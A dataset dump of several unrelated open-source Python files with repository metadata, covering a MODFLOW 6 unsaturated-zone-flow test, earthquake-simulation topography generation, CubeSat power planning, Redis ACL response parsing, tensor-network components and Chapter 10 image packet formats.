import os import pytest import sys import numpy as np import shutil import subprocess try: import pymake except: msg = "Error. Pymake package is not available.\n" msg += "Try installing using the following command:\n" msg += " pip install https://github.com/modflowpy/pymake/zipball/master" raise Exception(msg) try: import flopy except: msg = "Error. FloPy package is not available.\n" msg += "Try installing using the following command:\n" msg += " pip install flopy" raise Exception(msg) import targets mf6_exe = os.path.abspath(targets.target_dict["mf6"]) testname = "uzf_3lay_srfdchk" testdir = os.path.join("temp", testname) os.makedirs(testdir, exist_ok=True) everything_was_successful = True iuz_cell_dict = {} cell_iuz_dict = {} def build_model(): nlay, nrow, ncol = 3, 1, 10 nper = 1 perlen = [20.0] nstp = [10] tsmult = len(perlen) * [1.0] delr = 1.0 delc = 1.0 strt = -25 botm = [ [-5.0, -4.0, -3.0, -3.0, -2.0, -5.0, -4.0, -3.0, -3.0, -2.0], [-20, -20, -20, -20, -20, -20, -20, -20, -20, -20], [-30, -30, -30, -30, -30, -30, -30, -30, -30, -30], ] nouter, ninner = 100, 300 hclose, rclose, relax = 1e-9, 1e-3, 0.97 tdis_rc = [] for i in range(nper): tdis_rc.append((perlen[i], nstp[i], tsmult[i])) name = testname # build MODFLOW 6 files ws = testdir sim = flopy.mf6.MFSimulation( sim_name=name, version="mf6", exe_name=mf6_exe, sim_ws=ws ) # create tdis package tdis = flopy.mf6.ModflowTdis( sim, time_units="DAYS", nper=nper, perioddata=tdis_rc ) # create gwf model gwf = flopy.mf6.ModflowGwf( sim, modelname=name, newtonoptions="NEWTON", save_flows=True ) # create iterative model solution and register the gwf model with it ims = flopy.mf6.ModflowIms( sim, print_option="SUMMARY", complexity="MODERATE", outer_dvclose=hclose, outer_maximum=nouter, under_relaxation="DBD", inner_maximum=ninner, inner_dvclose=hclose, rcloserecord=rclose, linear_acceleration="BICGSTAB", scaling_method="NONE", reordering_method="NONE", relaxation_factor=relax, ) sim.register_ims_package(ims, [gwf.name]) dis = flopy.mf6.ModflowGwfdis( gwf, nlay=nlay, nrow=nrow, ncol=ncol, delr=delr, delc=delc, top=0.0, botm=botm, ) # initial conditions ic = flopy.mf6.ModflowGwfic(gwf, strt=strt) # node property flow npf = flopy.mf6.ModflowGwfnpf( gwf, save_flows=True, icelltype=1, k=100.0, k33=10 ) # aquifer storage sto = flopy.mf6.ModflowGwfsto( gwf, iconvert=1, ss=1e-5, sy=0.2, transient=True ) # chd files chdval = -3.0 chdspd = {0: [[(2, 0, 0), chdval]]} chd = flopy.mf6.ModflowGwfchd( gwf, print_flows=True, stress_period_data=chdspd ) # transient uzf info # iuzno cellid landflg ivertcn surfdp vks thtr thts thti eps [bndnm] uzf_pkdat = [ [0, (0, 0, 1), 1, 8, 6, 1, 0.05, 0.35, 0.05, 4, "uzf01"], [1, (0, 0, 2), 1, 9, 6, 1, 0.05, 0.35, 0.05, 4, "uzf02"], [2, (0, 0, 3), 1, 10, 6, 1, 0.05, 0.35, 0.05, 4, "uzf03"], [3, (0, 0, 4), 1, 11, 6, 1, 0.05, 0.35, 0.05, 4, "uzf04"], [4, (0, 0, 5), 1, 12, 6, 1, 0.05, 0.35, 0.05, 4, "uzf05"], [5, (0, 0, 6), 1, 13, 6, 1, 0.05, 0.35, 0.05, 4, "uzf06"], [6, (0, 0, 7), 1, 14, 6, 1, 0.05, 0.35, 0.05, 4, "uzf07"], [7, (0, 0, 8), 1, 15, 6, 1, 0.05, 0.35, 0.05, 4, "uzf08"], [8, (1, 0, 1), 0, 16, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf08"], [9, (1, 0, 2), 0, 17, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf10"], [10, (1, 0, 3), 0, 18, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf11"], [11, (1, 0, 4), 0, 19, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf12"], [12, (1, 0, 5), 0, 20, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf13"], [13, (1, 0, 6), 0, 21, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf14"], [14, (1, 0, 7), 0, 22, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf15"], [15, (1, 0, 8), 0, 23, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf16"], [16, (2, 0, 1), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf17"], [17, (2, 0, 2), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf18"], [18, (2, 0, 3), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf19"], [19, (2, 0, 4), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf20"], [20, (2, 0, 5), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf21"], [21, (2, 0, 6), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf22"], [22, (2, 0, 7), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf23"], [23, (2, 0, 8), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf24"], ] for itm in uzf_pkdat: iuz_cell_dict.update({itm[0]: (itm[1][0], itm[1][1], itm[1][2])}) cell_iuz_dict.update({(itm[1][0], itm[1][1], itm[1][2]): itm[0]}) extdp = 15.0 pet = 0.001 zero = 0.0 uzf_spd = { 0: [ [0, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [1, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [2, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [3, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [4, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [5, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [6, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [7, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [8, zero, pet, extdp, 7.0e-02, zero, zero, zero], [9, zero, pet, extdp, 7.0e-02, zero, zero, zero], [10, zero, pet, extdp, 7.0e-02, zero, zero, zero], [11, zero, pet, extdp, 7.0e-02, zero, zero, zero], [12, zero, pet, extdp, 7.0e-02, zero, zero, zero], [13, zero, pet, extdp, 7.0e-02, zero, zero, zero], [14, zero, pet, extdp, 7.0e-02, zero, zero, zero], [15, zero, pet, extdp, 7.0e-02, zero, zero, zero], ] } uzf = flopy.mf6.ModflowGwfuzf( gwf, print_flows=True, save_flows=True, simulate_et=True, simulate_gwseep=True, linear_gwet=True, boundnames=True, ntrailwaves=15, nwavesets=40, nuzfcells=len(uzf_pkdat), packagedata=uzf_pkdat, perioddata=uzf_spd, budget_filerecord="{}.uzf.bud".format(name), filename="{}.uzf".format(name), ) # output control oc = flopy.mf6.ModflowGwfoc( gwf, budget_filerecord="{}.cbc".format(name), head_filerecord="{}.hds".format(name), headprintrecord=[("COLUMNS", 10, "WIDTH", 15, "DIGITS", 6, "GENERAL")], saverecord=[("HEAD", "LAST"), ("BUDGET", "LAST")], printrecord=[("HEAD", "LAST"), ("BUDGET", "LAST")], filename="{}.oc".format(name), ) return sim # - No need to change any code below def test_mf6model(): # build and run the test model sim = build_model() sim.write_simulation() sim.run_simulation() # ensure that the error msg is contained in the mfsim.lst file f = open(os.path.join(testdir, "mfsim.lst"), "r") lines = f.readlines() error_count = 0 expected_msg = False for line in lines: if "SURFDEP" and "cannot" in line: expected_msg = True error_count += 1 assert error_count == 8, ( "error count = " + str(error_count) + "but should equal 8" ) print("Finished running surfdep check") return def main(): # build and run the test model sim = build_model() sim.write_simulation() sim.run_simulation() # ensure that the error msg is contained in the mfsim.lst file f = open(os.path.join(testdir, "mfsim.lst"), "r") lines = f.readlines() error_count = 0 expected_msg = False for line in lines: if "SURFDEP" and "cannot" in line: expected_msg = True error_count += 1 assert error_count == 8, ( "error count = " + str(error_count) + "but should equal 8" ) print("Finished running surfdep check") return if __name__ == "__main__": # print message print("standalone run of {}".format(os.path.basename(__file__))) # run main routine main()

30.665441

79

0.531111

import os import pytest import sys import numpy as np import shutil import subprocess try: import pymake except: msg = "Error. Pymake package is not available.\n" msg += "Try installing using the following command:\n" msg += " pip install https://github.com/modflowpy/pymake/zipball/master" raise Exception(msg) try: import flopy except: msg = "Error. FloPy package is not available.\n" msg += "Try installing using the following command:\n" msg += " pip install flopy" raise Exception(msg) import targets mf6_exe = os.path.abspath(targets.target_dict["mf6"]) testname = "uzf_3lay_srfdchk" testdir = os.path.join("temp", testname) os.makedirs(testdir, exist_ok=True) everything_was_successful = True iuz_cell_dict = {} cell_iuz_dict = {} def build_model(): nlay, nrow, ncol = 3, 1, 10 nper = 1 perlen = [20.0] nstp = [10] tsmult = len(perlen) * [1.0] delr = 1.0 delc = 1.0 strt = -25 botm = [ [-5.0, -4.0, -3.0, -3.0, -2.0, -5.0, -4.0, -3.0, -3.0, -2.0], [-20, -20, -20, -20, -20, -20, -20, -20, -20, -20], [-30, -30, -30, -30, -30, -30, -30, -30, -30, -30], ] nouter, ninner = 100, 300 hclose, rclose, relax = 1e-9, 1e-3, 0.97 tdis_rc = [] for i in range(nper): tdis_rc.append((perlen[i], nstp[i], tsmult[i])) name = testname ws = testdir sim = flopy.mf6.MFSimulation( sim_name=name, version="mf6", exe_name=mf6_exe, sim_ws=ws ) tdis = flopy.mf6.ModflowTdis( sim, time_units="DAYS", nper=nper, perioddata=tdis_rc ) gwf = flopy.mf6.ModflowGwf( sim, modelname=name, newtonoptions="NEWTON", save_flows=True ) ims = flopy.mf6.ModflowIms( sim, print_option="SUMMARY", complexity="MODERATE", outer_dvclose=hclose, outer_maximum=nouter, under_relaxation="DBD", inner_maximum=ninner, inner_dvclose=hclose, rcloserecord=rclose, linear_acceleration="BICGSTAB", scaling_method="NONE", reordering_method="NONE", relaxation_factor=relax, ) sim.register_ims_package(ims, [gwf.name]) dis = flopy.mf6.ModflowGwfdis( gwf, nlay=nlay, nrow=nrow, ncol=ncol, delr=delr, delc=delc, top=0.0, botm=botm, ) ic = flopy.mf6.ModflowGwfic(gwf, strt=strt) npf = flopy.mf6.ModflowGwfnpf( gwf, save_flows=True, icelltype=1, k=100.0, k33=10 ) sto = flopy.mf6.ModflowGwfsto( gwf, iconvert=1, ss=1e-5, sy=0.2, transient=True ) chdval = -3.0 chdspd = {0: [[(2, 0, 0), chdval]]} chd = flopy.mf6.ModflowGwfchd( gwf, print_flows=True, stress_period_data=chdspd ) uzf_pkdat = [ [0, (0, 0, 1), 1, 8, 6, 1, 0.05, 0.35, 0.05, 4, "uzf01"], [1, (0, 0, 2), 1, 9, 6, 1, 0.05, 0.35, 0.05, 4, "uzf02"], [2, (0, 0, 3), 1, 10, 6, 1, 0.05, 0.35, 0.05, 4, "uzf03"], [3, (0, 0, 4), 1, 11, 6, 1, 0.05, 0.35, 0.05, 4, "uzf04"], [4, (0, 0, 5), 1, 12, 6, 1, 0.05, 0.35, 0.05, 4, "uzf05"], [5, (0, 0, 6), 1, 13, 6, 1, 0.05, 0.35, 0.05, 4, "uzf06"], [6, (0, 0, 7), 1, 14, 6, 1, 0.05, 0.35, 0.05, 4, "uzf07"], [7, (0, 0, 8), 1, 15, 6, 1, 0.05, 0.35, 0.05, 4, "uzf08"], [8, (1, 0, 1), 0, 16, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf08"], [9, (1, 0, 2), 0, 17, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf10"], [10, (1, 0, 3), 0, 18, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf11"], [11, (1, 0, 4), 0, 19, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf12"], [12, (1, 0, 5), 0, 20, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf13"], [13, (1, 0, 6), 0, 21, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf14"], [14, (1, 0, 7), 0, 22, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf15"], [15, (1, 0, 8), 0, 23, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf16"], [16, (2, 0, 1), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf17"], [17, (2, 0, 2), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf18"], [18, (2, 0, 3), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf19"], [19, (2, 0, 4), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf20"], [20, (2, 0, 5), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf21"], [21, (2, 0, 6), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf22"], [22, (2, 0, 7), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf23"], [23, (2, 0, 8), 0, -1, 0.1, 1, 0.05, 0.35, 0.05, 4, "uzf24"], ] for itm in uzf_pkdat: iuz_cell_dict.update({itm[0]: (itm[1][0], itm[1][1], itm[1][2])}) cell_iuz_dict.update({(itm[1][0], itm[1][1], itm[1][2]): itm[0]}) extdp = 15.0 pet = 0.001 zero = 0.0 uzf_spd = { 0: [ [0, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [1, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [2, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [3, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [4, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [5, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [6, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [7, 0.01, pet, extdp, 7.0e-02, zero, zero, zero], [8, zero, pet, extdp, 7.0e-02, zero, zero, zero], [9, zero, pet, extdp, 7.0e-02, zero, zero, zero], [10, zero, pet, extdp, 7.0e-02, zero, zero, zero], [11, zero, pet, extdp, 7.0e-02, zero, zero, zero], [12, zero, pet, extdp, 7.0e-02, zero, zero, zero], [13, zero, pet, extdp, 7.0e-02, zero, zero, zero], [14, zero, pet, extdp, 7.0e-02, zero, zero, zero], [15, zero, pet, extdp, 7.0e-02, zero, zero, zero], ] } uzf = flopy.mf6.ModflowGwfuzf( gwf, print_flows=True, save_flows=True, simulate_et=True, simulate_gwseep=True, linear_gwet=True, boundnames=True, ntrailwaves=15, nwavesets=40, nuzfcells=len(uzf_pkdat), packagedata=uzf_pkdat, perioddata=uzf_spd, budget_filerecord="{}.uzf.bud".format(name), filename="{}.uzf".format(name), ) oc = flopy.mf6.ModflowGwfoc( gwf, budget_filerecord="{}.cbc".format(name), head_filerecord="{}.hds".format(name), headprintrecord=[("COLUMNS", 10, "WIDTH", 15, "DIGITS", 6, "GENERAL")], saverecord=[("HEAD", "LAST"), ("BUDGET", "LAST")], printrecord=[("HEAD", "LAST"), ("BUDGET", "LAST")], filename="{}.oc".format(name), ) return sim def test_mf6model(): sim = build_model() sim.write_simulation() sim.run_simulation() f = open(os.path.join(testdir, "mfsim.lst"), "r") lines = f.readlines() error_count = 0 expected_msg = False for line in lines: if "SURFDEP" and "cannot" in line: expected_msg = True error_count += 1 assert error_count == 8, ( "error count = " + str(error_count) + "but should equal 8" ) print("Finished running surfdep check") return def main(): sim = build_model() sim.write_simulation() sim.run_simulation() f = open(os.path.join(testdir, "mfsim.lst"), "r") lines = f.readlines() error_count = 0 expected_msg = False for line in lines: if "SURFDEP" and "cannot" in line: expected_msg = True error_count += 1 assert error_count == 8, ( "error count = " + str(error_count) + "but should equal 8" ) print("Finished running surfdep check") return if __name__ == "__main__": print("standalone run of {}".format(os.path.basename(__file__))) main()

true

f70522e7e78a3344ab563ab228f5eece99510bcf

584

py

Python

tpv29/generate_mytopo_tpv29.py

sebwolf-de/Examples

329db390d540e6f5fe1dff35372528f723882271

[ "BSD-3-Clause" ]

3

2021-08-16T12:57:52.000Z

2021-11-02T23:39:36.000Z

tpv29/generate_mytopo_tpv29.py

sebwolf-de/Examples

329db390d540e6f5fe1dff35372528f723882271

[ "BSD-3-Clause" ]

22

2020-09-25T12:52:04.000Z

2022-02-09T14:51:20.000Z

tpv29/generate_mytopo_tpv29.py

sebwolf-de/Examples

329db390d540e6f5fe1dff35372528f723882271

[ "BSD-3-Clause" ]

11

2018-10-11T09:04:42.000Z

2021-12-06T17:17:39.000Z

import numpy as np # Read scec input file fid = open("tpv29_tpv30_geometry_25m_data.txt") line = fid.readline() line = fid.readline() header = [float(a) for a in line.split()] nx, ny, lx, ly = header roughness = np.loadtxt(fid) roughness = roughness[:, 4] fid.close() # create x and y vectors x = np.linspace(-lx / 2, lx / 2, int(nx) + 1) y = np.linspace(0, ly, int(ny) + 1) # write mytopo_tpv29 fout = open("mytopo_tpv29", "w") fout.write("%d %d\n" % (nx + 1, ny + 1)) np.savetxt(fout, x, fmt="%f") np.savetxt(fout, y, fmt="%f") np.savetxt(fout, roughness, fmt="%f") fout.close()

24.333333

47

0.64726

import numpy as np fid = open("tpv29_tpv30_geometry_25m_data.txt") line = fid.readline() line = fid.readline() header = [float(a) for a in line.split()] nx, ny, lx, ly = header roughness = np.loadtxt(fid) roughness = roughness[:, 4] fid.close() x = np.linspace(-lx / 2, lx / 2, int(nx) + 1) y = np.linspace(0, ly, int(ny) + 1) fout = open("mytopo_tpv29", "w") fout.write("%d %d\n" % (nx + 1, ny + 1)) np.savetxt(fout, x, fmt="%f") np.savetxt(fout, y, fmt="%f") np.savetxt(fout, roughness, fmt="%f") fout.close()

true

f70523fc884ca9381af67d78c3f7c35fb8498822

284

py

Python

tests/client/test_inmemory/conftest.py

zyfra/ebonite

b01b662c43709d152940f488574d78ff25f89ecf

[ "Apache-2.0" ]

270

2019-11-14T15:46:08.000Z

2021-09-17T16:43:03.000Z

tests/client/test_inmemory/conftest.py

leepand/ebonite

b01b662c43709d152940f488574d78ff25f89ecf

[ "Apache-2.0" ]

14

2019-11-29T11:49:39.000Z

2022-02-10T00:23:59.000Z

tests/client/test_inmemory/conftest.py

leepand/ebonite

b01b662c43709d152940f488574d78ff25f89ecf

[ "Apache-2.0" ]

18

2019-11-22T13:15:14.000Z

2021-09-01T13:36:12.000Z

import pytest from ebonite.client import Ebonite from tests.client.conftest import create_client_hooks @pytest.fixture def inmemory_ebnt(): ebnt = Ebonite.inmemory() yield ebnt pytest_runtest_protocol, pytest_collect_file = create_client_hooks(inmemory_ebnt, 'inmemory')

20.285714

93

0.806338

import pytest from ebonite.client import Ebonite from tests.client.conftest import create_client_hooks @pytest.fixture def inmemory_ebnt(): ebnt = Ebonite.inmemory() yield ebnt pytest_runtest_protocol, pytest_collect_file = create_client_hooks(inmemory_ebnt, 'inmemory')

true

f70524256bdfc9b0876254c7efcadd8c12f51182

3,165

py

Python

example1.py

srujan71/CubeSat-Mission-Planner

34030254109def0b13e82116ed5122ecf79a82f7

[ "MIT" ]

1

2021-07-26T16:17:30.000Z

example1.py

leizhang2020/CubeSat-Mission-Planner

62d1ad33c2dcb1a2f8fb3ff615cc5cc0e6716969

[ "MIT" ]

null

example1.py

leizhang2020/CubeSat-Mission-Planner

62d1ad33c2dcb1a2f8fb3ff615cc5cc0e6716969

[ "MIT" ]

2

2021-09-18T08:50:44.000Z

2022-01-20T02:41:38.000Z

""" example1.py "A simple example how to use the CubeSat-Power-Estimation tool." @author: Johan Monster (https://github.com/Hans-Bananendans/) """ # Import packages import numpy as np import pandas as pd from mission import Mission # Defining the config config = { "years_passed" : 0, # How many [years] the satellite has been in space for "battery_capacity" : 81000, # Battery capacity in [W.s] (or: Joule) "battery_degradation_factor" : 0.04, "battery_init" : 0.5, # 0.5 = Battery begins at 50% charge "panel_degradation_factor" : 0.02, "blip_period" : 30, # Currently unused, telemetry blip period "blip_duration" : 1, # Currently unused, telemetry blip duration "no_blips" : ["downlink"], # Currently unused "orbital_altitude" : 550 # Orbital altitude in [km] } # List of the names of all used EPS channels. channels = ["None", "5V_1", "5V_2", "5V_3", "5V_4", "3.3V_1", \ "3.3V_2", "3.3V_3", "3.3V_4", "Var_rail"] # Dict of typical voltage supplied to each channel. channel_voltages = { "5V_1" : 5, "5V_2" : 5, "5V_3" : 5, "5V_4" : 5, "3.3V_1" : 3.3, "3.3V_2" : 3.3, "3.3V_3" : 3.3, "3.3V_4" : 3.3, "Var_rail" : 6.5 # Can between 6.5-8 VDC, highest current is at 6.5V } # Dict specifiying which device is on which EPS channel device_channels = { "adcs" : "5V_4", "payload_dice" : "5V_3", "payload_bitflip" : "3.3V_3", "antenna" : "3.3V_4", "obc" : "5V_2", "obc_board" : "5V_2", "rx" : "Var_rail", "tx" : "Var_rail", "eps" : "None", "sensors_1" : "3.3V_2", "sensors_2" : "3.3V_4", } # List of all possible OpStates the satellite can be in. # This list must be consistent with the specified power.xlsx state_list = ["idle","recharge","dice_payload","wheel_unloading", \ "transponder","downlink","safe_mode","recovery_mode", \ "detumbling_mode"] # Dict of which colour will be used for each OpState whilst plotting state_colours = { "idle" : "#ffffff", "recharge" : "#2ca02c", "dice_payload" : "#8000ff", "wheel_unloading" : "#0080ff", "transponder" : "#ff8000", "downlink" : "#ff0000", "safe_mode" : "#4000ff", "recovery_mode" : "#777777", "detumbling_mode" : "#ff00ff" } # Baby's first satellite schedule schedule1 = { 0 : "idle", 50 : "downlink", 100 : "recharge" } # Loading the power frame, or the device/OpState table power_frame = pd.read_excel('power.xlsx',index_col=0) # Loading the two power input vectors, generated by CubeSat-Solar-Estimator p_sun = np.load("P_sun.npy") p_alb = np.load("P_alb.npy") # Assembling the mission object m1 = Mission(config, device_channels, state_list, channels, \ power_frame, p_sun, p_alb) # Calling the Mission.propagate() method to start the simulation results = m1.propagate(schedule1, tsim=200, dt=1) # Plotting m1.plot_timeline_power(state_colours)

29.858491

78

0.594945

import numpy as np import pandas as pd from mission import Mission config = { "years_passed" : 0, "battery_capacity" : 81000, "battery_degradation_factor" : 0.04, "battery_init" : 0.5, "panel_degradation_factor" : 0.02, "blip_period" : 30, "blip_duration" : 1, "no_blips" : ["downlink"], "orbital_altitude" : 550 } channels = ["None", "5V_1", "5V_2", "5V_3", "5V_4", "3.3V_1", \ "3.3V_2", "3.3V_3", "3.3V_4", "Var_rail"] channel_voltages = { "5V_1" : 5, "5V_2" : 5, "5V_3" : 5, "5V_4" : 5, "3.3V_1" : 3.3, "3.3V_2" : 3.3, "3.3V_3" : 3.3, "3.3V_4" : 3.3, "Var_rail" : 6.5 } device_channels = { "adcs" : "5V_4", "payload_dice" : "5V_3", "payload_bitflip" : "3.3V_3", "antenna" : "3.3V_4", "obc" : "5V_2", "obc_board" : "5V_2", "rx" : "Var_rail", "tx" : "Var_rail", "eps" : "None", "sensors_1" : "3.3V_2", "sensors_2" : "3.3V_4", } state_list = ["idle","recharge","dice_payload","wheel_unloading", \ "transponder","downlink","safe_mode","recovery_mode", \ "detumbling_mode"] state_colours = { "idle" : "#ffffff", "recharge" : "#2ca02c", "dice_payload" : "#8000ff", "wheel_unloading" : "#0080ff", "transponder" : "#ff8000", "downlink" : "#ff0000", "safe_mode" : "#4000ff", "recovery_mode" : "#777777", "detumbling_mode" : "#ff00ff" } schedule1 = { 0 : "idle", 50 : "downlink", 100 : "recharge" } # Loading the power frame, or the device/OpState table power_frame = pd.read_excel('power.xlsx',index_col=0) # Loading the two power input vectors, generated by CubeSat-Solar-Estimator p_sun = np.load("P_sun.npy") p_alb = np.load("P_alb.npy") # Assembling the mission object m1 = Mission(config, device_channels, state_list, channels, \ power_frame, p_sun, p_alb) # Calling the Mission.propagate() method to start the simulation results = m1.propagate(schedule1, tsim=200, dt=1) # Plotting m1.plot_timeline_power(state_colours)

true

f7052438c8473f910759ed0cf1b17b8320d04873

653

py

Python

coredis/response/callbacks/acl.py

alisaifee/aredis

c5764a5a2a29c4ed25278548aa54eece94974440

[ "MIT" ]

null

coredis/response/callbacks/acl.py

alisaifee/aredis

c5764a5a2a29c4ed25278548aa54eece94974440

[ "MIT" ]

null

coredis/response/callbacks/acl.py

alisaifee/aredis

c5764a5a2a29c4ed25278548aa54eece94974440

[ "MIT" ]

null

from __future__ import annotations from coredis.response.callbacks import ( DictCallback, ResponseCallback, SimpleStringCallback, ) from coredis.response.utils import flat_pairs_to_dict from coredis.typing import Any, AnyStr, Mapping, Tuple, Union class ACLLogCallback(ResponseCallback): def transform( self, response: Any, **options: Any ) -> Union[bool, Tuple[Mapping[AnyStr, AnyStr], ...]]: if options.get("reset"): return SimpleStringCallback()(response) else: return tuple( DictCallback(transform_function=flat_pairs_to_dict)(r) for r in response )

29.681818

88

0.679939

from __future__ import annotations from coredis.response.callbacks import ( DictCallback, ResponseCallback, SimpleStringCallback, ) from coredis.response.utils import flat_pairs_to_dict from coredis.typing import Any, AnyStr, Mapping, Tuple, Union class ACLLogCallback(ResponseCallback): def transform( self, response: Any, **options: Any ) -> Union[bool, Tuple[Mapping[AnyStr, AnyStr], ...]]: if options.get("reset"): return SimpleStringCallback()(response) else: return tuple( DictCallback(transform_function=flat_pairs_to_dict)(r) for r in response )

true

f705245746d0ebe045665a381e0da85b1675e0cb

297

py

Python

tensornetwork/component_factory.py

gazay/TensorNetwork

1564a24d6fef6d6ecd90dc01b55a5aa3f5d71b8e

[ "Apache-2.0" ]

2

2019-11-22T20:03:47.000Z

2020-09-03T20:25:51.000Z

tensornetwork/component_factory.py

gazay/TensorNetwork

1564a24d6fef6d6ecd90dc01b55a5aa3f5d71b8e

[ "Apache-2.0" ]

null

tensornetwork/component_factory.py

gazay/TensorNetwork

1564a24d6fef6d6ecd90dc01b55a5aa3f5d71b8e

[ "Apache-2.0" ]

3

2020-04-27T10:28:21.000Z

2021-03-02T10:02:14.000Z

from tensornetwork.network_components import Node, CopyNode, Edge _COMPONENTS = { "Node": Node, "CopyNode": CopyNode, "Edge": Edge, } def get_component(name): if name not in _COMPONENTS: raise ValueError("Component {} does not exist".format(name)) return _COMPONENTS[name]

19.8

65

0.703704

from tensornetwork.network_components import Node, CopyNode, Edge _COMPONENTS = { "Node": Node, "CopyNode": CopyNode, "Edge": Edge, } def get_component(name): if name not in _COMPONENTS: raise ValueError("Component {} does not exist".format(name)) return _COMPONENTS[name]

true

f7052482790afe437f8491bcd68bb6a5d319ef0d

3,563

py

Python

chapter10/image.py

atac-bham/pychapter10

292f15162d4a637144ab0e64ed7215a4ab4f37df

[ "BSD-3-Clause" ]

7

2021-04-27T12:14:42.000Z

2021-11-17T08:31:19.000Z

chapter10/image.py

atac-bham/pychapter10

292f15162d4a637144ab0e64ed7215a4ab4f37df

[ "BSD-3-Clause" ]

26

2020-07-20T21:28:57.000Z

2022-02-17T13:36:03.000Z

chapter10/image.py

atac-bham/pychapter10

292f15162d4a637144ab0e64ed7215a4ab4f37df

[ "BSD-3-Clause" ]

null

from .util import BitFormat from . import packet __all__ = ('ImageF0', 'ImageF1', 'ImageF2') class ImageMessage: def __repr__(self): return '<Image Segment>' class ImageF0(packet.Packet): """Image data .. py:attribute:: segment_length .. py:attribute:: iph .. py:attribute:: sum * 0 - Less than one complete image * 1 - One complete image * 2 - Multiple complete images * 3 - Multiple incomplete images .. py:attribute:: parts Indicates which piece[s] are of the frame are contained in the packet: """ csdw_format = BitFormat(''' u27 length u1 iph u3 sum u3 parts''') class Message(packet.Message, ImageMessage): """ .. py:attribute:: ipts If IPH is true (see above), containts intra-packet timestamp """ def __init__(self, *args, **kwargs): packet.Packet.__init__(self, *args, **kwargs) if self.iph: self.Message.FORMAT = BitFormat('u64 ipts') class ImageF1(packet.Packet): """Still imagery .. py:attribute:: format * 0 - MIL-STD-2500 National Imagery Transmission Format * 1 - JPEG File Interchange Format * 2 - JPEG 2000 (ISO/IEC 154444-1) * 3 - Portable Network Graphics Format (PNG) .. py:attribute:: iph .. py:attribute:: sum * 0 - Contains less than one complete image * 1 - Contains one complete image * 2 - Contains multiple complete images * 3 - Contains multiple incomplete messages .. py:attribute:: parts * 0 - Doesn't contain first or last segment of the image * 1 - Contains first segment of image * 2 - Contains multiple complete messages * 3 - Contains both first and last segment of image """ csdw_format = BitFormat(''' p23 u4 format u1 iph u2 sum u2 parts''') class Message(packet.Message, ImageMessage): """ .. py:attribute:: ipts If IPH is true (see above), containts intra-packet timestamp .. py:attribute:: length Length of image or segment (bytes) """ def __init__(self, *args, **kwargs): packet.Packet.__init__(self, *args, **kwargs) fmt = '' if self.iph: fmt = 'u64 ipts\n' self.Message.FORMAT = BitFormat(fmt + 'u32 length') class ImageF2(packet.Packet): """Dynamic Imagery .. py:attribute:: format Refer to chapter 10 standard .. py:attribute:: iph .. py:attribute:: sum * 0 - Contains less than one complete image (segment) * 1 - Contains one complete image * 2 - Contains multiple complete images .. py:attribute:: parts * 0 - Doesn't contain first or last segment of the image * 1 - Contains first segment of image * 2 - Contains last segment of image """ csdw_format = BitFormat(''' p21 u6 format u1 iph u2 sum u2 parts''') class Message(packet.Message, ImageMessage): """ .. py:attribute:: ipts If IPH is true (see above), containts intra-packet timestamp .. py:attribute:: length Length of image or segment (bytes) """ def __init__(self, *args, **kwargs): packet.Packet.__init__(self, *args, **kwargs) fmt = '' if self.iph: fmt = 'u64 ipts\n' self.Message.FORMAT = BitFormat(fmt + 'u32 length')

23.912752

78

0.572551

